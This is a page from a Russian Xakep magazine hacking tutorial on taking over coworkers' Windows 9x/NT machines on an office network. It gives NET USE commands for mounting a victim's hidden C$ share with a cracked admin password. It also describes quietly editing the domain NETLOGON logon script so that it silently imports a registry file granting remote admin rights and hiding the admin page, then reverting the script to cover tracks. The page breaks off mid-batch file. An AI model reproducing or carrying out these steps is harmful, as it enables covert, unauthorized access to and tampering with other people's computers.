ЖУРНАЛ ХАКЕР

Основы выживания в локальной сети

Xakep, номер #034, стр. 034-042-4


Формат команды: (из-под 95-98-МЕ не работает! NT based only!): NET USE H: /USER:DOMAIN\adminname \\USER_PETYA\c$ 12345

где DOMAIN - домен или рабочая группа, либо вообще имя рабочей станции.

adminname - логин нашего администратора, а 12345 его пароль.

с$ - скрытый расшаренный диск С:

Тут есть свои нюансы. Способ работает в следующих случаях:

1. У пользователя установлен совместный доступ к файлам и принтерам.

2. Если у него не дошли руки посмотреть в настройках, кому разрешено администрировать 98-е. По умолчанию администраторы домена.

Грабли

Если у юзера стоит русская версия Win9х, соответственно она рассчитана на русский же сервер PDC или рабочей группы, так как управление по умолчанию отдается группе "администраторы домена". А так как обычно ставят NT 4.0 W2k SERVER английский (по-моему русского NT 4.0 не существует), то, соответственно, там такой группы нет. Там есть Domain admins. По сути одно и то же, но в результате не работает.

Гораздо легче, если у пользователя что-либо из линейки NT. Зная его пароль, а предположим, что LCP нам его дал, мы можем подключиться к нему:

NET USE H: /USER:DOMAIN\petya \\USER_PETYA\c$ 123

или применить имя встроенного аккаунта:

NET USE H: /USER:USER_PETYA \administrator \\USER_PETYA\c$ 123

Где administrator - встроенная учетная запись администратора РАБОЧЕЙ СТАНЦИИ.

Мало того, теперь можно запускать-тормозить сервисы, иметь доступ к реестру и много чего интересного! Для этого можно использовать запуск от имени другого пользователя. Для того чтобы исправить положение с рабочими станциями Win95-98-ME (см. грабли; несоответствие языков рабочей станции и сервера) и получить-таки желаемый доступ к ним, придется потрудиться. Если сеть с доменом, то все довольно просто. Есть такая штука, как скрипт, активизируемый при входе в сеть. Попросту обычный командный файл в каталоге NETLOGON. Туда пишутся различные команды типа подключения сетевых дисков и проч. Никто не мешает тебе придти пораньше на работу и добавить в него кой чего :) - права-то мы раздобыли.

Пример: rus-eng compatibility patch :)

Добавляем строчку в батник:

regedit /s share.reg (чтоб ничего не было видно)

Содержимое файла share.reg:

**************************************************************************

REGEDIT4

[HKEY_LOCAL_MACHINE\Security\Access\Admin\Remote

"YOUR_DOMAIN\\DOMAIN ADMINS"=hex:ff,00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]

"NoAdminPage"=dword:00000001

**************************************************************************

Вместо your_domain, естественно, ставим свой домен. Расширение и имя файла share.reg может быть любым, кстати. Когда в начале рабочего дня все начнут входить в сеть, "патч" сработает. Через час-полтора можно вернуть батник в прежнее состояние. Если данная схема проникновения в твоем случае неприемлема, можно сделать локальный патч и подсунуть пользователю.

Я не стал извращаться и написал вот что:

@echo off

if not exist c:\windows\win.com goto exit

Назад на стр. 034-042-3  Содержание  Вперед на стр. 034-042-5